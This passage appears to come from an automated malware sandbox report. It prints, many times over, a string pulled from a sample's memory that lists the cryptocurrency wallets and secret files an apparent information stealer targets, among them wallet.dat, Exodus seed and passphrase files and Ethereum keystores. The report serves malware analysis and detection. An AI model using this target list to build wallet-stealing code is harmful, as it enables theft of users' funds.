Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140B5E000.00000080.00000001.01000000.00000003.sdmp	String found in binary or memory: JAXXATA
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 